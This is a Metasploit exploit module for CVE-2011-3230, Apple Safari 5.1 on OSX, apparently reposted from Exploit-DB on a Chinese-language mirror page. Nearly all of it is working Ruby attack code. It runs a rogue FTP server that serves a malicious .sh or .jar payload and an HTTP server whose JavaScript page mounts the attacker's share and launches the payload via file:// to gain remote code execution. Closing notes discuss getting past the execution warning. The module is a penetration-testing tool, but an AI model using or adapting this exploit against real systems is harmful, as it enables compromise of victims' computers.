Apple Safari – ‘file://’ Arbitrary Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-10-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17986/
  • ##
    # $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'rex/service_manager'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::FtpServer
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Apple Safari file:// Arbitrary Code Execution",
    			'Description'=> %q{
    					This module exploits a vulnerability found in Apple Safari on OSX platform.
    				A policy issue in the handling of file:// URLs may allow arbitrary remote code
    				execution under the context of the user.
    
    					In order to trigger arbitrary remote code execution, the best way seems to
    				be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
    				a fileformat that OSX might automount), and then execute it in /Volumes/[share].
    				If there's some kind of bug that leaks the victim machine's current username,
    				then it's also possible to execute the payload in /Users/[username]/Downloads/,
    				or else bruteforce your way to getting that information.
    
    					Please note that non-java payloads (*.sh extension) might get launched by
    				Xcode instead of executing it, in that case please try the Java ones instead.
    			},
    			'License'=> MSF_LICENSE,
    			'Version'=> "$Revision: 13967 $",
    			'Author' =>
    				[
    					'Aaron Sigel',# Initial discovery
    					'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
    				],
    			'References' =>
    				[
    					['CVE', '2011-3230'],
    					['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
    					['URL', 'http://support.apple.com/kb/HT5000']
    				],
    			'Payload'=>
    				{
    					'BadChars'=> "",
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none",
    				},
    			'Platform' => [ 'unix', 'osx', 'java' ],
    			'Arch' => [ ARCH_CMD, ARCH_JAVA ],
    			'Targets'=>
    				[
    					[ 'Safari 5.1 on OSX', {} ],
    					[ 'Safari 5.1 on OSX with Java', {} ]
    				],
    			'Privileged' => true,
    			'DisclosureDate' => "Oct 12 2011",#Blog date
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
    				OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
    				OptPort.new('HTTPPORT',[true, "The HTTP server port", 80])
    			], self.class )
    	end
    
    
    	#
    	# Start the FTP aand HTTP server
    	#
    	def exploit
    		# The correct extension name is necessary because that's how the LauncherServices
    		# determines how to open the file.
    		ext = (target.name =~ /java/i) ? '.jar' : '.sh'
    		@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
    
    		# Start the FTP server
    		start_service()
    		print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
    
    		# Create our own HTTP server
    		# We will stay in this functino until we manually terminate execution
    		start_http()
    	end
    
    
    	#
    	# Lookup the right address for the client
    	#
    	def lookup_lhost(c=nil)
    		# Get the source address
    		if datastore['SRVHOST'] == '0.0.0.0'
    			Rex::Socket.source_address( c || '50.50.50.50')
    		else
    			datastore['SRVHOST']
    		end
    	end
    
    
    	#
    	# Override the client connection method and
    	# initialize our payload
    	#
    	def on_client_connect(c)
    		r = super(c)
    		@state[c][:payload] = regenerate_payload(c).encoded
    		r
    	end
    
    
    	#
    	# Handle FTP LIST request (send back the directory listing)
    	#
    	def on_client_command_list(c, arg)
    		conn = establish_data_connection(c)
    		if not conn
    			c.put("425 Can't build data connection\r\n")
    			return
    		end
    
    		print_status("Data connection setup")
    		c.put("150 Here comes the directory listing\r\n")
    
    		print_status("Sending directory list via data connection")
    		month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
    		m = month_names[Time.now.month-1]
    		d = Time.now.day
    		y = Time.now.year
    
    		dir = "-rwxr-xr-x 1 ftp ftp#{@state[c][:payload].length.to_s} #{m} #{d}#{y} #{@payload_name}\r\n"
    		conn.put(dir)
    		conn.close
    
    		print_status("Directory sent ok")
    		c.put("226 Transfer ok\r\n")
    
    		return
    	end
    
    
    	#
    	# Handle the FTP RETR request. This is where we transfer our actual malicious payload
    	#
    	def on_client_command_retr(c, arg)
    		conn = establish_data_connection(c)
    		if not conn
    			c.put("425 can't build data connection\r\n")
    			return
    		end
    
    		print_status("Connection for file transfer accepted")
    		c.put("150 Connection accepted\r\n")
    
    		# Send out payload
    		conn.put(@state[c][:payload])
    		conn.close
    		return
    	end
    
    
    	#
    	# Handle the HTTP request and return a response.Code borrorwed from:
    	# msf/core/exploit/http/server.rb
    	#
    	def start_http(opts={})
    		# Ensture all dependencies are present before initializing HTTP
    		use_zlib
    
    		comm = datastore['ListenerComm']
    		if (comm.to_s == "local")
    			comm = ::Rex::Socket::Comm::Local
    		else
    			comm = nil
    		end
    
    		# Default the server host / port
    		opts = {
    			'ServerHost' => datastore['SRVHOST'],
    			'ServerPort' => datastore['HTTPPORT'],
    			'Comm' => comm
    		}.update(opts)
    
    		# Start a new HTTP server
    		@http_service = Rex::ServiceManager.start(
    			Rex::Proto::Http::Server,
    			opts['ServerPort'].to_i,
    			opts['ServerHost'],
    			datastore['SSL'],
    			{
    				'Msf'=> framework,
    				'MsfExploit' => self,
    			},
    			opts['Comm'],
    			datastore['SSLCert']
    		)
    
    		@http_service.server_name = datastore['HTTP::server_name']
    
    		# Default the procedure of the URI to on_request_uri if one isn't
    		# provided.
    		uopts = {
    			'Proc' => Proc.new { |cli, req|
    					on_request_uri(cli, req)
    				},
    			'Path' => resource_uri
    		}.update(opts['Uri'] || {})
    
    		proto = (datastore["SSL"] ? "https" : "http")
    		print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
    
    		if (opts['ServerHost'] == '0.0.0.0')
    			print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    		end
    
    		# Add path to resource
    		@service_path = uopts['Path']
    		@http_service.add_resource(uopts['Path'], uopts)
    
    		# As long as we have the http_service object, we will keep the ftp server alive
    		while @http_service
    			select(nil, nil, nil, 1)
    		end
    	end
    
    
    	#
    	# Kill HTTP/FTP (shut them down and clear resources)
    	#
    	def cleanup
    		super
    
    		# Kill FTP
    		stop_service()
    
    		# clear my resource, deregister ref, stop/close the HTTP socket
    		begin
    			@http_service.remove_resource(datastore['URIPATH'])
    			@http_service.deref
    			@http_service.stop
    			@http_service.close
    			@http_service = nil
    		rescue
    		end
    	end
    
    
    	#
    	# Ensures that gzip can be used.If not, an exception is generated.The
    	# exception is only raised if the DisableGzip advanced option has not been
    	# set.
    	#
    	def use_zlib
    		if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
    			raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.Don't do that!"
    		end
    	end
    
    
    	#
    	# Returns the configured (or random, if not configured) URI path
    	#
    	def resource_uri
    		path = datastore['URIPATH'] || random_uri
    		path = '/' + path if path !~ /^\//
    		datastore['URIPATH'] = path
    		return path
    	end
    
    
    	#
    	# Handle HTTP requets and responses
    	#
    	def on_request_uri(cli, request)
    		agent = request.headers['User-Agent']
    
    		if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
    			print_error("Unsupported target: #{agent}")
    			send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
    			return
    		end
    
    		html = <<-HTML
    		<html>
    		<head>
    		<base href="file://">
    		<script>
    		function launch() {
    			document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
    		}
    
    		function share() {
    			document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
    			setTimeout("launch()", 2000);
    		}
    
    		share();
    		</script>
    		</head>
    		<body>
    		</body>
    		</html>
    		HTML
    
    		send_response(cli, 200, 'OK', html)
    	end
    
    
    	#
    	# Create an HTTP response and then send it
    	#
    	def send_response(cli, code, message='OK', html='')
    		proto = Rex::Proto::Http::DefaultProtocol
    		res = Rex::Proto::Http::Response.new(code, message, proto)
    		res['Content-Type'] = 'text/html'
    		res.body = html
    
    		cli.send_response(res)
    	end
    
    end
    
    =begin
    - Need to find a suitable payload that can be executed without warning.
    Certain executables cannot be executed due to permission issues. A jar file doesn't have this
    problem, but we still get a "Are you sure?" warning before it can be executed.
    - Allow user-specified port to automount the share
    - Allow ftp USERNAME/PASSWORD (optional)
    =end